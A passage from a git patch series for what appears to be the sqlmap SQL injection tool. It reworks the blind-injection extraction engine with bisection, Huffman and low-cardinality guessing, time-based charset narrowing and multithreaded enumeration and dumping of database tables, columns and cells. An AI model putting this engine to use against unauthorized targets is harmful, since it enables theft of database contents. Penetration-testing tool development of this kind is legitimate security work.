(non-ASCII). + """ + + if not value or valueMatchCondition(expressionUnescaped, value) is None: + return True + + # a definitely-different copy: flip the last character to a neighbour that cannot equal it + corrupt = value[:-1] + ("a" if value[-1] != "a" else "b") + corruptCondition = valueMatchCondition(expressionUnescaped, corrupt) + if corruptCondition is None: + return True + + try: + truthy = agent.suffixQuery(agent.prefixQuery(getTechniqueData().vector.replace(INFERENCE_MARKER, valueMatchCondition(expressionUnescaped, value)))) + mustBeTrue = Request.queryPage(agent.payload(newValue=truthy), timeBasedCompare=timeBasedCompare, raise404=False) + incrementCounter(getTechnique()) + + falsy = agent.suffixQuery(agent.prefixQuery(getTechniqueData().vector.replace(INFERENCE_MARKER, corruptCondition))) + mustBeFalse = Request.queryPage(agent.payload(newValue=falsy), timeBasedCompare=timeBasedCompare, raise404=False) + incrementCounter(getTechnique()) + except Exception: + return True # a transient hiccup is not evidence of an unreliable oracle + + return bool(mustBeTrue) and not bool(mustBeFalse) + def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None, dump=False): """ Bisection algorithm that can be used to perform blind SQL injection @@ -84,6 +262,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None partialValue = u"" finalValue = None retrievedLength = 0 + columnKey = None if payload is None: return 0, None @@ -97,6 +276,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None asciiTbl = getCharset(charsetType) threadData = getCurrentThreadData() + threadData.lowCardHit = False # set when this value is confirmed by the (self-verifying) low-card guess timeBasedCompare = (getTechnique() in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) retVal = hashDBRetrieve(expression, checkConf=True) @@ -139,14 +319,14 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None expression = match.group(2).strip() try: - # Set kb.partRun in case "common prediction" feature (a.k.a. "good samaritan") is used, or the - # engine is called from the API, or a JSON report is being collected (so enumeration output is tagged) - if conf.predictOutput: - kb.partRun = getPartRun() - elif conf.api or conf.reportJson: - kb.partRun = getPartRun(alias=False) - else: - kb.partRun = None + # kb.partRun tags the enumeration context so predictive inference (predictValue) fires for BOTH + # the value-parallel and the classic serial name-enumeration paths. It is derived from the call + # stack here (alias form for prediction; raw for API/JSON tagging); the derivation only overwrites + # when it finds a match, so it does NOT clobber the context the value-parallel helper set for its + # worker threads (whose call stack does not include the enumeration method -> getPartRun is None). + derivedPartRun = getPartRun(alias=not (conf.api or conf.reportJson)) + if derivedPartRun is not None: + kb.partRun = derivedPartRun if partialValue: firstChar = len(partialValue) @@ -180,6 +360,60 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None else: expressionUnescaped = unescaper.escape(expression) + # Row-independent key for this column (pagination offset masked), grouping all of a column's + # rows for low-cardinality guessing and for its own per-column online Huffman model. + columnKey = normalizedExpression(expression) if dump else None + + # Low-cardinality whole-value guessing: when the distinct values already seen for this column are + # few (<= LOW_CARDINALITY_THRESHOLD), confirm the current cell by equality against each of them + # (one request on a hit) before per-character extraction - a large win on the enum/flag/status/ + # category/type columns that dominate real tables. Self-verifying (a wrong candidate simply fails). + # Especially valuable for TIME-BASED blind: a hit confirms the whole value in a single delayed + # request instead of ~7 delays/char x N chars. The repetition gate below ensures it only ever fires + # on genuinely low-cardinality columns, so unique identifier names never pay a wasted probe/delay. + if columnKey is not None and not partialValue: + # Snapshot the shared cache under the lock (value-parallel workers may mutate it concurrently). + with kb.locks.prediction: + seen = dict(kb.lowCardCache.get(columnKey) or ()) + # Arm only once SOME value has repeated (max count >= 2): that is the proof the column is + # low-cardinality, so an all-unique column (primary key, hash, free text) never spends a probe. + # Once armed, try at most LOW_CARDINALITY_MAX_GUESSES candidates (most frequent first), so a + # column that trips the threshold with many near-unique values wastes only a bounded number of + # probes. A wrong guess costs one probe (self-verifying); a right one confirms the whole value. + if seen and len(seen) <= LOW_CARDINALITY_THRESHOLD and max(seen.values()) >= 2: + for candidate in sorted(seen, key=lambda value: -seen[value])[:LOW_CARDINALITY_MAX_GUESSES]: + matchCondition = valueMatchCondition(expressionUnescaped, candidate) + if matchCondition is None: # non-ASCII: no reliable whole-value equality, extract per-char + continue + forgedQuery = agent.suffixQuery(agent.prefixQuery(getTechniqueData().vector.replace(INFERENCE_MARKER, matchCondition))) + hit = Request.queryPage(agent.payload(newValue=forgedQuery), timeBasedCompare=timeBasedCompare, raise404=False) + incrementCounter(getTechnique()) + if hit and timeBasedCompare: + # A single time-based boolean is noisy; confirm the whole-value hit with a + # not-equals check (validateChar spirit) before trusting it, so timing jitter can + # never ship a wrong low-cardinality value. Still ~2 delayed requests/value vs the + # ~7-delays/char x N of full extraction. + notEqualsQuery = agent.suffixQuery(agent.prefixQuery(getTechniqueData().vector.replace(INFERENCE_MARKER, "NOT(%s)" % matchCondition))) + hit = not Request.queryPage(agent.payload(newValue=notEqualsQuery), timeBasedCompare=timeBasedCompare, raise404=False) + incrementCounter(getTechnique()) + if hit: + threadData.lowCardHit = True + return getCounter(getTechnique()), candidate + + # Model driving the Huffman set-membership tree. Name enumeration keys on the enumeration context + # and is seeded with the fingerprinted back-end's identifier prior, so the tree predicts a name + # from the first character (structured, low-entropy identifiers). A data dump uses a PER-COLUMN + # order-0 model: each column learns its own character distribution, so a column restricted to few + # characters (hex/uuid, digits, dates, a constant/NULL placeholder) is forced from those alone + # (e.g. ~4 requests/char on hex instead of ~6, ~1 on a constant) with no cross-column dilution. + # Order 0 needs no sequential prefix, so it works under the position-parallel (per-value) threads + # too; a higher-order per-column model was measured to lose to its own cold-start, so order 0 it is. + if kb.partRun in NAME_PREDICTION_CONTEXTS: + huffmanKey, huffmanOrder = kb.partRun, NAME_MARKOV_ORDER + huffmanPrior = getHuffmanPrior(NAME_MARKOV_ORDER, CATALOG_IDENTIFIERS_PRIOR_PEAK, Backend.getIdentifiedDbms()) + else: + huffmanKey, huffmanOrder, huffmanPrior = columnKey, 0, None + if isinstance(length, six.string_types) and isDigit(length) or isinstance(length, int): length = int(length) else: @@ -211,7 +445,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None else: numThreads = 1 - if conf.threads == 1 and not any((timeBasedCompare, conf.predictOutput)): + if conf.threads == 1 and not timeBasedCompare: warnMsg = "running in a single-thread mode. Please consider " warnMsg += "usage of option '--threads' for faster data retrieval" singleTimeWarnMessage(warnMsg) @@ -295,12 +529,21 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None back to the classic bisection. Returns the character, or None to fall back. """ ESCAPE = -1 - model = kb.huffmanModel + model = kb.huffmanModel.setdefault(huffmanKey, {}) + threadData = getCurrentThreadData() + + # Next-character weights P(next | last huffmanOrder chars) from this retrieval's own online + # model plus, for name enumeration, the shipped identifier prior (so the tree is warm from the + # first character); order 0 collapses to the classic single-context adaptive model. Retrieval + # is correct regardless of the weights (the tree spans the whole range plus an ESCAPE leaf), so + # the model - even raced under threads - only ever affects speed, never the returned value. + context = partialValue[-huffmanOrder:] if huffmanOrder > 0 else "" + weights = contextWeights(model, huffmanPrior, huffmanOrder, partialValue) heap = [] for order, ordinal in enumerate(xrange(128)): - heapq.heappush(heap, (model.get(ordinal, 0) + HUFFMAN_PRIOR_WEIGHTS.get(ordinal, 1), order, (ordinal,))) - heapq.heappush(heap, (max(model.get(ESCAPE, 0), 1), 128, (ESCAPE,))) + heapq.heappush(heap, (weights.get(ordinal, 0) + HUFFMAN_PRIOR_WEIGHTS.get(ordinal, 1), order, (ordinal,))) + heapq.heappush(heap, (max(weights.get(ESCAPE, 0), 1), 128, (ESCAPE,))) counter = 129 while len(heap) > 1: @@ -337,12 +580,23 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(getTechnique()) + # Guard against target-side length limits / WAFs that reject the (potentially long) + # "IN (...)" list: an HTTP error code that is not the technique's own true/false code means + # this membership query was rejected (e.g. 414 URI Too Long, 413, 400, 403), so the walk + # cannot be trusted. Abandon it and hand the character to the classic short-query ('>' / '=') + # bisection, which re-extracts and validates it; the escape counter in getChar() latches + # Huffman off (kb.disableHuffman) if the rejection keeps happening. Gated on >= 400 so a + # normal content-based (200/200) response never trips it. + if not timeBasedCompare and threadData.lastCode is not None and threadData.lastCode >= 400 and (getTechniqueData() is None or threadData.lastCode not in (getTechniqueData().falseCode, getTechniqueData().trueCode)): + return _HUFFMAN_FALLBACK + node = testNode if result else otherNode value = node[0] if value == ESCAPE: - model[ESCAPE] = model.get(ESCAPE, 0) + 1 + with kb.locks.prediction: + model.setdefault(context, {})[ESCAPE] = model.setdefault(context, {}).get(ESCAPE, 0) + 1 return _HUFFMAN_FALLBACK if value == 0: @@ -365,13 +619,17 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None kb.disableHuffman = True return _HUFFMAN_FALLBACK - model[value] = model.get(value, 0) + 1 + with kb.locks.prediction: + model.setdefault(context, {})[value] = model.setdefault(context, {}).get(value, 0) + 1 return decodeIntToUnicode(value) - def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None, retried=None): + def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None, retried=None, restricted=False): """ continuousOrder means that distance between each two neighbour's numerical values is exactly 1 + + restricted means charTbl is a narrowed per-column observed range (time-based only): a character + landing outside it fails validateChar and is re-extracted over the full charset. """ threadData = getCurrentThreadData() @@ -381,7 +639,11 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None if result: return result - if (not conf.noHuffman and not kb.disableHuffman and dump and continuousOrder and charsetType is None and not timeBasedCompare + # Huffman set-membership applies to boolean-based dumps and name enumeration. It stays off for + # time-based, where each membership step is timing-noisy and lacks per-character validation + # (measured to trade accuracy for little/no gain there); time-based relies on plain bisection + # plus low-cardinality whole-value guessing instead. + if (not conf.noHuffman and not kb.disableHuffman and (dump or kb.partRun in NAME_PREDICTION_CONTEXTS) and continuousOrder and charsetType is None and not timeBasedCompare and ("%s%s" % (INFERENCE_GREATER_CHAR, "%d")) in payload and ("'%s'" % CHAR_INFERENCE_MARK) not in payload): kb.huffmanProbes = (kb.huffmanProbes or 0) + 1 @@ -545,6 +807,10 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None if retVal in originalTbl or (retVal == ord('\n') and CHAR_INFERENCE_MARK in payload): if (timeBasedCompare or unexpectedCode) and not validateChar(idx, retVal): + if restricted: + # the character fell outside this column's observed range - re-extract + # over the full charset (not timing noise, so no delay increase / retry count) + return getChar(idx, asciiTbl, True, retried=retried) if not kb.originalTimeDelay: kb.originalTimeDelay = conf.timeSec @@ -625,6 +891,11 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None return None else: return decodeIntToUnicode(candidates[0]) + elif restricted: + # the self-validating '=' failed: the character is outside this column's observed set + # (or is end-of-string) - re-extract over the full charset, which validates the value + # and detects end-of-string correctly + return getChar(idx, asciiTbl, True, retried=retried) # Go multi-threading (--threads > 1) if numThreads > 1 and isinstance(length, int) and length > 1: @@ -732,11 +1003,11 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None # Common prediction feature (a.k.a. "good samaritan") # NOTE: to be used only when multi-threading is not set for # the moment - if conf.predictOutput and len(partialValue) > 0 and kb.partRun is not None: + if kb.partRun in NAME_PREDICTION_CONTEXTS and len(partialValue) > 0: val = None - commonValue, commonPattern, commonCharset, otherCharset = goGoodSamaritan(partialValue, asciiTbl) + commonValue, commonPattern, commonCharset, otherCharset = predictValue(partialValue, asciiTbl) - # If there is one single output in common-outputs, check + # If a single wordlist entry matches the prefix, confirm # it via equal against the query output if commonValue is not None: # One-shot query containing equals commonValue @@ -778,19 +1049,45 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None val = commonPattern[index - 1:] index += len(val) - 1 - # Otherwise if there is no commonValue (single match from - # txt/common-outputs.txt) and no commonPattern - # (common pattern) use the returned common charset only - # to retrieve the query output - if not val and commonCharset: - val = getChar(index, commonCharset, False) - - # If we had no luck with commonValue and common charset, - # use the returned other charset + # Char-by-char fallback. When Huffman is actually active it is driven over the full + # (continuous) charset: the corpus-Markov-seeded tree puts the single likeliest next + # character at its root (~1 request), subsuming the common/other charset split. When + # Huffman is unavailable (--no-huffman, latched off after repeated escapes, or TIME-BASED + # where getChar disables it) the classic reordered-charset bisection is used instead - so + # the predicted commonCharset ordering is not thrown away (time-based would otherwise pay + # full-charset bisection for every character). if not val: - val = getChar(index, otherCharset, otherCharset == asciiTbl) + if not conf.noHuffman and not kb.disableHuffman and not timeBasedCompare: + val = getChar(index, asciiTbl, True) + else: + if commonCharset: + val = getChar(index, commonCharset, False) + + if not val: + val = getChar(index, otherCharset, otherCharset == asciiTbl) else: - val = getChar(index, asciiTbl, not (charsetType is None and conf.charset)) + # Time-based dump: once a column's character set has proven closed (unchanged for + # DUMP_CHARSET_STABLE_ROWS consecutive rows), search only those + # observed ordinals via the bit-search (continuousOrder=False), whose final '=' equality + # self-validates the character (no separate validateChar). A narrow-charset column (hex, + # digits, dates, decimals) collapses from ~log2(full charset)+1 toward ~log2(set)+1 + # delayed requests/char. A character outside the observed set makes that '=' fail and is + # re-extracted over the full charset (see the restricted escalation in getChar). Time-based + # only: boolean has no per-character validation to catch such a miss (and uses Huffman). + restrictedTbl = None + if (dump and timeBasedCompare and columnKey is not None and charsetType is None and not conf.charset + and kb.dumpCharsetStable.get(columnKey, 0) >= DUMP_CHARSET_STABLE_ROWS): + with kb.locks.prediction: + observed = set(kb.dumpCharset.get(columnKey) or ()) # snapshot (value-parallel safe) + if observed and len(observed) <= 64: + # include the 0 end-of-string sentinel so end is detected in-band (the bit-search + # returns None on 0), avoiding a full-charset escalation at the end of every value + restrictedTbl = sorted(observed | set((0,))) + + if restrictedTbl is not None: + val = getChar(index, restrictedTbl, False, expand=False, restricted=True) + else: + val = getChar(index, asciiTbl, not (charsetType is None and conf.charset)) if val is None: finalValue = partialValue @@ -831,11 +1128,11 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None if not (conf.firstChar or conf.lastChar): # Note: --first/--last give a range-limited (non-complete) output; caching it unmarked would let a later resume serve the truncated value as the full one hashDBWrite(expression, finalValue) - # Adaptive intra-run prediction (good samaritan / --predict-output): remember this extracted - # value for its enumeration context so later same-context items sharing structure are predicted - # faster. Length-capped (identifiers are short -> large data cells never bloat/pollute the pool); - # a wrong prediction only ever costs a probe and falls back to bisection. - if (conf.predictOutput and kb.partRun and kb.commonOutputs is not None + # Adaptive intra-run prediction: remember this extracted name for its enumeration context so + # later same-context items sharing structure (e.g. wp_posts / wp_users ...) are predicted faster. + # Fed ONLY single-threaded (not kb.multiThreadMode) so it never mutates the pool while a + # value-parallel worker is iterating it. Length-capped; a wrong prediction only costs a probe. + if (kb.partRun in NAME_PREDICTION_CONTEXTS and not kb.multiThreadMode and kb.commonOutputs is not None and 0 < len(finalValue) <= PREDICTION_FEEDBACK_MAX_LENGTH and len(kb.commonOutputs.get(kb.partRun) or ()) < PREDICTION_FEEDBACK_MAX_ITEMS): kb.commonOutputs.setdefault(kb.partRun, set()).add(finalValue) @@ -861,6 +1158,42 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None _ = finalValue or partialValue + # Record this cell for the column's low-cardinality guessing cache (frequency-tracked so the most + # common values are probed first; bounded so a clearly high-cardinality column stops accumulating). + if columnKey is not None and finalValue: + # Track the column's low-cardinality cache and observed character set. Guarded by the prediction + # lock because value-parallel dump workers update these concurrently. + ordinals = set(ord(_c) for _c in finalValue if ord(_c) < 128) + with kb.locks.prediction: + seen = kb.lowCardCache.setdefault(columnKey, {}) + if finalValue in seen or len(seen) <= LOW_CARDINALITY_THRESHOLD + 2: + seen[finalValue] = seen.get(finalValue, 0) + 1 + + if ordinals: + existing = kb.dumpCharset.setdefault(columnKey, set()) + grew = not ordinals.issubset(existing) # did this row introduce a never-seen character? + existing.update(ordinals) + # Trust the observed alphabet as closed only after it stays unchanged for several consecutive + # rows. A column that keeps growing (monotonic PK, high-entropy text) resets the counter and + # never triggers the restricted search, so it is never charged the miss-then-escalate cost. + kb.dumpCharsetStable[columnKey] = 0 if grew else kb.dumpCharsetStable.get(columnKey, 0) + 1 + + # Oracle-reliability litmus: on bulk extraction (dumps / name enumeration) periodically fire a + # known-answer differential so an always-true / flaky / degraded channel that would otherwise dump + # SILENT garbage instead raises a one-time "results may be unreliable" warning. First value is always + # checked (catch it before a whole bad dump), then every ORACLE_LITMUS_CHECK_EVERY-th. + if (ORACLE_LITMUS_CHECK_EVERY and finalValue and not kb.reliabilityAlarm and not kb.bruteMode + and (columnKey is not None or kb.partRun in NAME_PREDICTION_CONTEXTS)): + with kb.locks.prediction: + kb.litmusCounter += 1 + due = (kb.litmusCounter == 1 or kb.litmusCounter % ORACLE_LITMUS_CHECK_EVERY == 0) + if due and not oracleReliabilityLitmus(expressionUnescaped, finalValue, timeBasedCompare): + kb.reliabilityAlarm = True + warnMsg = "the target's responses are inconsistent for known-true/known-false probes " + warnMsg += "(reads-everything-true, WAF, or a flaky/degraded channel); extracted data may " + warnMsg += "be unreliable. Consider raising '--time-sec', lowering '--threads', or retrying" + singleTimeWarnMessage(warnMsg) + return getCounter(getTechnique()), safecharencode(_) if kb.safeCharEncode else _ def queryOutputLength(expression, payload): diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index 20d0941bd..c439863b9 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -401,26 +401,39 @@ class Databases(object): plusOne = Backend.getIdentifiedDbms() in PLUS_ONE_DBMSES indexRange = getLimitRange(count, plusOne=plusOne) - for index in indexRange: - if Backend.isDbms(DBMS.SYBASE): - query = _query % (db, (kb.data.cachedTables[-1] if kb.data.cachedTables else " ")) - elif Backend.getIdentifiedDbms() in (DBMS.MAXDB, DBMS.ACCESS, DBMS.MCKOI, DBMS.EXTREMEDB): - query = _query % (kb.data.cachedTables[-1] if kb.data.cachedTables else " ") - elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD): - query = _query % index - elif Backend.getIdentifiedDbms() in (DBMS.HSQLDB, DBMS.INFORMIX, DBMS.FRONTBASE, DBMS.VIRTUOSO): - query = _query % (index, unsafeSQLIdentificatorNaming(db)) - elif Backend.getIdentifiedDbms() in (DBMS.SPANNER,): - query = _query % (unsafeSQLIdentificatorNaming(db), unsafeSQLIdentificatorNaming(db), index) - else: - query = _query % (unsafeSQLIdentificatorNaming(db), index) + # Value-parallel, prediction-assisted name enumeration for the DBMSes using the + # generic ", " blind template. Retrieves whole names concurrently (one per + # worker, each decoded sequentially so wordlist prediction applies). Used only with + # '--threads' (like getColumns below); single-thread stays on the classic getValue loop, + # which still gets predictive inference via getPartRun. The special templates stay serial. + genericTemplate = Backend.getIdentifiedDbms() not in (DBMS.SYBASE, DBMS.MAXDB, DBMS.ACCESS, DBMS.MCKOI, DBMS.EXTREMEDB, DBMS.SQLITE, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.INFORMIX, DBMS.FRONTBASE, DBMS.VIRTUOSO, DBMS.SPANNER) - table = unArrayizeValue(inject.getValue(query, union=False, error=False)) + if genericTemplate and conf.threads > 1 and isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN): + for table in (inject._threadedInferenceValues(lambda index: _query % (unsafeSQLIdentificatorNaming(db), index), indexRange, context="Tables") or []): + if not isNoneValue(table): + kb.hintValue = table + tables.append(safeSQLIdentificatorNaming(table, True)) + else: + for index in indexRange: + if Backend.isDbms(DBMS.SYBASE): + query = _query % (db, (kb.data.cachedTables[-1] if kb.data.cachedTables else " ")) + elif Backend.getIdentifiedDbms() in (DBMS.MAXDB, DBMS.ACCESS, DBMS.MCKOI, DBMS.EXTREMEDB): + query = _query % (kb.data.cachedTables[-1] if kb.data.cachedTables else " ") + elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.FIREBIRD): + query = _query % index + elif Backend.getIdentifiedDbms() in (DBMS.HSQLDB, DBMS.INFORMIX, DBMS.FRONTBASE, DBMS.VIRTUOSO): + query = _query % (index, unsafeSQLIdentificatorNaming(db)) + elif Backend.getIdentifiedDbms() in (DBMS.SPANNER,): + query = _query % (unsafeSQLIdentificatorNaming(db), unsafeSQLIdentificatorNaming(db), index) + else: + query = _query % (unsafeSQLIdentificatorNaming(db), index) - if not isNoneValue(table): - kb.hintValue = table - table = safeSQLIdentificatorNaming(table, True) - tables.append(table) + table = unArrayizeValue(inject.getValue(query, union=False, error=False)) + + if not isNoneValue(table): + kb.hintValue = table + table = safeSQLIdentificatorNaming(table, True) + tables.append(table) if tables: kb.data.cachedTables[db] = tables @@ -841,7 +854,7 @@ class Databases(object): logger.error(errMsg) continue - for index in getLimitRange(count): + def columnNameQuery(index): if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.FRONTBASE, DBMS.VIRTUOSO): query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query += condQuery @@ -880,8 +893,22 @@ class Databases(object): query += condQuery field = condition - query = agent.limitQuery(index, query, field, field) - column = unArrayizeValue(inject.getValue(query, union=False, error=False)) + return agent.limitQuery(index, query, field, field) + + indexList = list(getLimitRange(count)) + + # Value-parallel column-NAME enumeration: the same axis/mechanism as getTables (one name per + # worker, decoded sequentially - no length probe, predictive inference applies, names stream + # live). Serial fallback for single-thread and when also fetching per-column comments. + columnNames = None + if conf.threads > 1 and not conf.getComments and isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN): + columnNames = inject._threadedInferenceValues(columnNameQuery, indexList, context="Columns") + + for position, index in enumerate(indexList): + if columnNames is not None: + column = unArrayizeValue(columnNames[position]) + else: + column = unArrayizeValue(inject.getValue(columnNameQuery(index), union=False, error=False)) if not isNoneValue(column): if conf.getComments: diff --git a/plugins/generic/entries.py b/plugins/generic/entries.py index 917814779..9c9a87b84 100644 --- a/plugins/generic/entries.py +++ b/plugins/generic/entries.py @@ -418,41 +418,70 @@ class Entries(object): debugMsg += "dumped as it appears to be empty" logger.debug(debugMsg) + def cellQuery(column, index): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.CLICKHOUSE, DBMS.SNOWFLAKE, DBMS.SPANNER): + query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, conf.tbl, prioritySortColumns(colList)[0], index) + elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE,): + query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), index) + elif Backend.getIdentifiedDbms() in (DBMS.MIMERSQL,): + query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), prioritySortColumns(colList)[0], index) + elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.EXTREMEDB): + query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl, index) + elif Backend.isDbms(DBMS.FIREBIRD): + query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), tbl) + elif Backend.getIdentifiedDbms() in (DBMS.INFORMIX, DBMS.VIRTUOSO): + query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), conf.db, tbl, prioritySortColumns(colList)[0]) + elif Backend.isDbms(DBMS.FRONTBASE): + query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), conf.db, tbl) + else: + query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, tbl, index) + + return agent.whereQuery(query) + try: - for index in indexRange: + # Value-parallel dumping: one whole cell per worker, decoded sequentially, so there + # is NO per-cell LENGTH() probe (the position-parallel path needs one to split a + # value's characters across threads) and the per-column Huffman model + low-cardinality + # guessing engage under concurrency. Used for the boolean channel with '--threads'; the + # classic per-character-parallel loop stays for single-thread and time-based. + if conf.threads > 1 and not conf.dnsDomain and isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN): + # One value-parallel pass over every (non-empty) cell, so there is a single + # thread pool and values stream live as they complete - out of order, exactly + # like the error/union dumps - instead of a silent progress counter. + nonEmpty = [_ for _ in colList if _ not in emptyColumns] + tasks = [(column, index) for column in nonEmpty for index in indexRange] + retrieved = inject._threadedInferenceValues(lambda pair: cellQuery(pair[0], pair[1]), tasks, charsetType=None, dump=True) if tasks else [] + retrieved = retrieved if retrieved is not None else [None] * len(tasks) + + offset = 0 for column in colList: - value = "" + entries[column] = BigArray() + lengths.setdefault(column, 0) - if column not in lengths: - lengths[column] = 0 - - if column not in entries: - entries[column] = BigArray() - - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.CLICKHOUSE, DBMS.SNOWFLAKE, DBMS.SPANNER): - query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, conf.tbl, prioritySortColumns(colList)[0], index) - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE,): - query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), index) - elif Backend.getIdentifiedDbms() in (DBMS.MIMERSQL,): - query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl.upper() if not conf.db else ("%s.%s" % (conf.db.upper(), tbl.upper())), prioritySortColumns(colList)[0], index) - elif Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.EXTREMEDB): - query = rootQuery.blind.query % (agent.preprocessField(tbl, column), tbl, index) - elif Backend.isDbms(DBMS.FIREBIRD): - query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), tbl) - elif Backend.getIdentifiedDbms() in (DBMS.INFORMIX, DBMS.VIRTUOSO): - query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), conf.db, tbl, prioritySortColumns(colList)[0]) - elif Backend.isDbms(DBMS.FRONTBASE): - query = rootQuery.blind.query % (index, agent.preprocessField(tbl, column), conf.db, tbl) + if column in emptyColumns: + values = [NULL] * len(indexRange) else: - query = rootQuery.blind.query % (agent.preprocessField(tbl, column), conf.db, tbl, index) + values = retrieved[offset:offset + len(indexRange)] + offset += len(indexRange) - query = agent.whereQuery(query) + for value in values: + value = '' if value is None else value + lengths[column] = max(lengths[column], getConsoleLength(DUMP_REPLACEMENTS.get(getUnicode(value), getUnicode(value)))) + entries[column].append(value) + else: + for index in indexRange: + for column in colList: + if column not in lengths: + lengths[column] = 0 - value = NULL if column in emptyColumns else inject.getValue(query, union=False, error=False, dump=True) - value = '' if value is None else value + if column not in entries: + entries[column] = BigArray() - lengths[column] = max(lengths[column], getConsoleLength(DUMP_REPLACEMENTS.get(getUnicode(value), getUnicode(value)))) - entries[column].append(value) + value = NULL if column in emptyColumns else inject.getValue(cellQuery(column, index), union=False, error=False, dump=True) + value = '' if value is None else value + + lengths[column] = max(lengths[column], getConsoleLength(DUMP_REPLACEMENTS.get(getUnicode(value), getUnicode(value)))) + entries[column].append(value) except KeyboardInterrupt: kb.dumpKeyboardInterrupt = True From 8f6a37275c184695d0ca0048fb28a2796ac6a2d8 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Mon, 6 Jul 2026 13:34:46 +0200 Subject: [PATCH 139/165] Some refactoring --- data/txt/sha256sums.txt | 747 -------------------------- doc/THIRD-PARTY.md | 2 - extra/shutils/precommit-hook.sh | 5 - lib/core/common.py | 44 +- lib/core/option.py | 4 +- lib/core/settings.py | 2 +- lib/request/multiparthandler.py | 89 +++ sqlmap.py | 4 +- thirdparty/multipart/__init__.py | 0 thirdparty/multipart/multipartpost.py | 114 ---- 10 files changed, 118 insertions(+), 893 deletions(-) delete mode 100644 data/txt/sha256sums.txt create mode 100644 lib/request/multiparthandler.py delete mode 100644 thirdparty/multipart/__init__.py delete mode 100644 thirdparty/multipart/multipartpost.py diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt deleted file mode 100644 index 6ed89afa7..000000000 --- a/data/txt/sha256sums.txt +++ /dev/null @@ -1,747 +0,0 @@ -e70317eb90f7d649e4320e59b2791b8eb5810c8cad8bc0c49d917eac966b0f18 data/procs/mssqlserver/activate_sp_oacreate.sql -6a2de9f090c06bd77824e15ac01d2dc11637290cf9a5d60c00bf5f42ac6f7120 data/procs/mssqlserver/configure_openrowset.sql -798f74471b19be1e6b1688846631b2e397c1a923ad8eca923c1ac93fc94739ad data/procs/mssqlserver/configure_xp_cmdshell.sql -5dfaeac6e7ed4c3b56fc75b3c3a594b8458effa4856c0237e1b48405c309f421 data/procs/mssqlserver/create_new_xp_cmdshell.sql -3c8944fbd4d77b530af2c72cbabeb78ebfb90f01055a794eede00b7974a115d0 data/procs/mssqlserver/disable_xp_cmdshell_2000.sql -afb169095dc36176ffdd4efab9e6bb9ed905874469aac81e0ba265bc6652caa4 data/procs/mssqlserver/dns_request.sql -657d56f764c84092ff4bd10b8fcbde95c13780071b715df0af1bc92b7dd284f2 data/procs/mssqlserver/enable_xp_cmdshell_2000.sql -1b7d521faca0f69a62c39e0e4267e18a66f8313b22b760617098b7f697a5c81d data/procs/mssqlserver/run_statement_as_user.sql 